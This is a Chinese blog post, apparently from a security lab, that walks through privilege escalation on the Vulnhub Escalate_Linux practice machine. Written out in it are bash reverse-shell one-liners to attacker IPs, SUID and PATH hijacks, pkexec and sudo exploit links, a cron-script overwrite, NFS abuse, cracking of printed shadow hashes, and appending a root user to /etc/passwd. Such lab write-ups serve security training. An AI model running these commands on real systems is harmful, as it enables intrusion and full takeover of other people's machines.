分享

一次有趣的Linux提权打靶记录

 新用户13157769 2023-10-26 发布于广东

此文章原创作者为源鲁安全实验室,转载请注明出处!此文章中所涉及的技术、思路和工具仅供网络安全学习为目的,不得以盈利为目的或非法利用,否则后果自行承担!

前言

    在⽇常渗透测试过程中,通常会先拿到 webshell 权限,当权限过低时需要提升权限以进⼀步渗透。本篇将以 Vulnhub 的 Escalate_Linux 靶场为例,总结⼀下 linux 环境下常⻅的提权⽅法。

信息搜集

  探测发现主机

sudo netdiscovert -r 192.168.80.1/24

  找到靶机 IP:192.168.80.53 (由于⽹络变动,靶机ip会变化)

  端⼝扫描

sudo nmap -Pn -sV 192.168.80.5
图片
nmap -sVC -p- 192.168.80.53
图片

  存在http web服务、139、445、smb、nfs

  先看下http服务,访问为Apache 默认⻚⾯,利用dirsearch 扫下⽬录。

图片

  发现存在 shell.php 普通⽤户权限(由于是提权靶机 所以比较容易拿webshell ⼤佬莫怪) 

图片
图片

反弹shell

  利⽤ nc 反弹bash 
 /bin/bash -c 'bash -i >& /dev/tcp/192.168.80.56/3344 0>&1'

  利⽤ burpsuite 进⾏ url 编码 

%2f%62%69%6e%2f%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%36%38%2e%38%30%2e%37%33%2f%33%33%34%34%20%3e%26%31%27

  反弹得到 shell 

GET /shell.php?cmd=%2f%62%69%6e%2f%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%HTTP/1.1Host: 192.168.80.53Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/114.0.5735.134 Safari/537.36Accept:text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/aexchange;v=b3;q=0.7Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Connection: close
图片

权限提升

0x00 LinEnum脚本枚举

    通过 which wget 发现存在wget,远程起一个web服务利用 wget 下载提权辅助脚本 LinEnum 到 /tmp 目录下。

脚本地址:https://github.com/rebootuser/LinEnum/blob/master/LinEnum.sh
图片

0x01 SUID提权

  利用LinEnum脚本枚举或通过 find / -perm -u=s -type f 2>/dev/null 查找目标主机中s权限的文件。

图片
图片
  user3下 执行可直接得到 root 权限。 
cd /home/user3 ls -l ./shell
图片
图片

   除了shell之外,还存在一个 root 权限且具有写入权限的 .script.sh 脚本 利用该脚本将bash写到 tmp下并给予s权限。

 echo 'cp /bin/bash /tmp/sh' > .script.sh  echo 'chmod  s /tmp/sh' > .script.sh
图片
   ./sh -p  运行得到 root 权限
图片
0x02 环境变量提权

    在user5下 也存在s权限的 script 文件,运行后功能 等同于 ls (等价于 C中的 system('ls')) 。

cd /tmp echo '/bin/bash' > ls chmod 777 ls echo $PATH export PATH=/tmp:$PATH cd /home/user5/ ./script
图片
图片

  (该方法在现实情况下很少会遇到,在靶场环境中可能会遇到)

0x03 Pkexec提权

  尝试执行pkexec命令 发现主机存在pkexec,考虑试下pkexec的提权漏洞

漏洞利用思路:通过设置 execve() 的 argv[] 为零,造成 argv[1] 越界读取,并绕过安全检查。通过 g_printerr 函数发现可控的不安全环境变量 GCONV_PATH。构造畸形的路径使 pkexec 从指定路径读取环境变量完成提权。

 POC1:https://github.com/nikaiw/CVE-2021-4034

 POC2: https://github.com/berdav/CVE-2021-4034

 前面发现有python3环境 直接尝试python3的poc1
图片
 由于也存在gcc环境,可以下载c版本,然后make编译运行。
图片

 (注:该漏洞的修复可选择打补丁或者去除 pkexec 的 s权限:chmod 0755 /user/bin/pkexec)

0x04 Mysql弱口令信息泄露

  根据 LinEnum 找到mysql弱口令,root/root 
图片
  成功登录 mysql
图片

   得到一个账号密码 ,cat /etc/passwd时发现存在mysql用户,使用该用户密码可以登录。

 find / -user  mysql  ,查看 mysql 用户下所属文件
图片

  cat /etc/mysql/secret.cnf,得到root用户的登录密码。(但是该密码并无法登录到root用户)

图片
   cat /var/mysql/.informations 没权限,需要root权限才可以

  通过前面的 pkexec 的root权限查看该文件,得到user2~user8的登录密码  user{i}@12345

图片

0x05 Corntab提权

  cat /etc/crontab ,发现在user4下存在root权限的定时任务。

图片
  先切换到user4用户下
图片
   autoscript.sh 在user4下具有写权限。用 echo 覆写进去 反弹nc shell。
 /bin/bash -c 'bash -i >& /dev/tcp/192.168.80.60/8899 0>&1'

  中间有 '  用 echo 不太好处理 ,需要利用管道命令 mkfifo 处理。

echo 'mkfifo /tmp/tmpipe; nc 192.168.80.60 8899 0</tmp/tmpipe | /bin/bash > /tmp/tmpipe 2>&1; rm /tmp/tmpipe' > autoscript.sh ./autoscript.sh
图片
 得到user4用户,但是是root权限。
图片

0x06 NFS挂载提权【未利用成功】

    前面nmap扫端口时候 发现有nfs服务,利用LinEnum收集也找到了nfs相关信息,也可以通过 cat /etc/exports 查看。

    /home/user5 目录下开启了 no_root_squash
图片
  1.查看NFS服务器上的共享目录
 sudo showmount -e 192.168.80.56
图片

  2.创建本地挂载目录,挂载共享目录。利用攻击机kali本地root权限创建 suid shell

shell sudo mkdir -p /tmp/data sudo zmount -t nfs 192.168.80.56:/home/user5 /tmp/data sudo cp /bin/sh /tmp/data/shell sudo chmod u s /tmp/data/shell
  3.在目标机器普通用户下执行命令
./shell -p

  通过ls -l可看到shell文件已被写入到user5目录下且具有s权限。但是不管尝试bash 还是sh,都会报错 libtinfo.so文件缺失。(在ubuntu18下经常会出现该问题 在ubuntu20下则不会有该问题,由于靶机是ubuntu版本所以会报错缺失so文件)

图片

0x07 john 爆破密码

   通过前面提权方式  cat /etc/shadow 获取相关用户shadow信息 (需要先高权限获取shadow文件在进行爆破,仅作为一种思路)。

root:$6$mqjgcFoM$X/qNpZR6gXPAxdgDjFpaD1yPIqUF5l5ZDANRTKyvcHQwSqSxX5lA7n22kjEkQhSP6Uq7cPaYfzPSmgATM9cwD1:18050:0:99999:7:::user1:$6$9iyn/lCu$UxlOZYhhFSAwJ8DPjlrjrl2Wv.Pz9DahMTfwpwlUC5ybyBGpuHToNIIjTqMLGSh0R2Ch4Ij5gkmP0eEH2RJhZ0:18050:0:99999:7:::user2:$6$7gVE7KgT$ud1VN8OwYCbFveieo4CJQIoMcEgcfKqa24ivRs/MNAmmPeudsz/p3QeCMHj8ULlvSufZmp3TodaWlIFSZCKG5.:18050:0:99999:7:::user3:$6$PaKeECW4$5yMn9UU4YByCj0LP4QWaGt/S1aG0Zs73EOJXh.Rl0ebjpmsBmuGUwTgBamqCCx7qZ0sWJOuzIqn.GM69aaWJO0:18051:0:99999:7:::user4:$6$0pxj6KPl$NA5S/2yN3TTJbPypEnsqYe1PrgbfccHntMggLdU2eM5/23dnosIpmD8sRJwI1PyDFgQXH52kYk.bzc6sAVSWm.:18051:0:99999:7:::user5:$6$wndyaxl9$cOEaymjMiRiljzzaSaFVXD7LFx2OwOxeonEdCW.GszLm77k0d5GpQZzJpcwvufmRndcYatr5ZQESdqbIsOb9n/:18051:0:99999:7:::user6:$6$Y9wYnrUW$ihpBL4g3GswEay/AqgrKzv1n8uKhWiBNlhdKm6DdX7WtDZcUbh/5w/tQELa3LtiyTFwsLsWXubsSCfzRcao1u/:18051:0:99999:7:::mysql:$6$O2ymBAYF$NZDtY392guzYrveKnoISea6oQpv87OpEjEef5KkEUqvtOAjZ2i1UPbkrfmrHG/IonKdnYEec0S0ZBcQFZ.sno/:18053:0:99999:7:::user7:$6$5RBuOGFi$eJrQ4/xf2z/3pG43UkkoE35Jb0BIl7AW/umj1Xa7eykmalVKiRKJ4w3vFEOEOtYinnkIRa.89dXtGQXdH.Rdy0:18052:0:99999:7:::user8:$6$fdtulQ7i$G9THW4j6kUy4bXlf7C/0XQtntw123LRVRfIkJ6akDLPHIqB5PJLD4AEyz7wXsEhMc2XC4CqiTxATfb20xWaXP.:18052:0:99999:7:::
    john shadow.txt  ,得到root用户密码为 12345。
图片
    成功登录到root用户
图片

0x08  sudo提权 1 — vi 提权

    登录user8  sudo -l
图片
  使用 vi 提权,参考 https://gtfobins./gtfobins/vi/ 。
sudo vi :!sh # 或者sudo vi:set shell=/bin/sh:shell
图片

0x09 sudo提权 2

    登录到user2,sudo -l 
图片

    user2 下 user1 均具有所有权限,登录到user1,su root可得到root权限(注:在执行部分命令或使用su切换用户时,可能会提示需用terminal运行。可以通过python起一个交互式shell: python -c 'import pty;pty.spawn('/bin/bash')'

图片

0x0a sudo堆缓冲区溢出提权

   sudo -V 查看sudo版本为 1.8.21p2 该版本存在sudo堆缓冲区溢出漏洞可用来提权。(漏洞影响版本:Sudo 1.8.2 - 1.8.31p2及Sudo 1.9.0 - 1.9.5p1)

图片
   POC : https://github.com/Rvn0xsy/CVE-2021-3156-plus

  通过前面nfs挂载,直接在kali下下载poc,拷贝到user5目录下make编译。(直接上传文件夹会被识别为html类型,推测为ubuntu18下libtinfo.so的问题) 

/expolit 'id'
图片

0x0b root用户组写入用户提权

cat /etc/group  #查看用户组
图片

   用户user4/user7 可以修改 /etc/passwd 写入新建用户,在kali下利用openssl 生成加盐用户密码 

图片
echo 'test:$1$test$pi/xDtU5WFVRqYS6BMU8X/:0:0:/root:/bin/bash' >> /etc/passwd
图片

小结

      本篇中部分方法可能过于理想只适用于靶场环境中,在实战中可能很少遇到,主要提供一些学习的思路。

1.内核漏洞提权

     根据内核版本找对应版本的漏洞进行提权。

# 查看系统发行版本lsb_release -a # 查看内核版本uname -a

2.SUID提权

   SUID可以让程序调用者以文件所有者身份运行该文件,当我们以普通用户去运行一个root用户所有的SUID文件,那么运行该文件后就可获取到root权限。 

# 查找具有s权限的文件    find / -perm -u=s -type f 2>/dev/null
3.sudo提权

   普通用户在使用sudo执行命令时,将会以root方式执行命令。在很多场景下通过配置sudoer文件可实现免密以root权限运行。通过 sudo -l 查找用户下高权限第三方应用,可借助GTFOBins进行提权。

4.计划任务提权

    系统中可能会有一些定时执行的任务,这些任务都由crontab管理,可通过cat /etc/crontab查看计划任务,检查是否存在可以利用的文件,其本质就是文件权限配置不当。

5. 环境变量提权

    当在目标机器查到具有SUID权限的编译文件,则可以通过以下方法获取管理员权限。该方法在实战中很难遇到 感觉只适合靶场的理想环境下。

  • echo 命令法 

cd /tmpecho '/bin/bash' > lschmod 777 lsecho $PATHexport PATH=/tmp:$PATHcd /home/user5/./script
  • cp 法 

cd /home/user5/cp /bin/sh /tmp/lsecho $PATHexport PATH=/tmp:$PATH./script
  • 软连接法(在此靶场中未利用成功) 

ln -s /bin/sh /tmp/lsexport PATH=/tmp:$PATHcd /home/user5/./script

6.第三方服务提权

6.1 NFS提权

    当服务器中存在nfs共享,且开启了no_root_squash时(可通过cat /etc/exports查看),如果客户端使用的是root用户,那么对于共享目录来说就有root权限,以此提升权限。

  • 查看NFS服务器共享目录

  • 创建本地挂载目录 挂载共享目录,利用攻击者本地root权限创建 suid shell

  • 在服务器中以普通用户运行 shell -p  以获取root权限

6.2 数据库提权

    Mysql数据库提权有UDF提权、MOF提权、写入启动项等方式来提权,较为常见的则是UDF提权,具体步骤可分如下几步:

  • 连接数据库

  • 创建自定义函数

  • 设置自定义函数权限

  • 执行自定义函数以获取root权限

7. 可写文件提权

7.1 passwd文件

    如果 /etc/passwd 文件可写入(cat /etc/group 查看root组是否可以写入) 可通过openssl生成盐密码 利用echo写入root权限用户到/etc/passwd中。

8.密码泄露

    在拿到linux机器后,可以翻一下一些可能存在密码的用户名和密码的文件或操作历史记录。比如cat ~/.bash_history  cat ~/.mysql_history ,也可查找一下一些配置文件中是否存在密码等敏感信息。




    本站是提供个人知识管理的网络存储空间,所有内容均由用户发布,不代表本站观点。请注意甄别内容中的联系方式、诱导购买等信息,谨防诈骗。如发现有害或侵权内容,请点击一键举报。
    转藏 分享 献花(0

    0条评论

    发表

    请遵守用户 评论公约

    类似文章 更多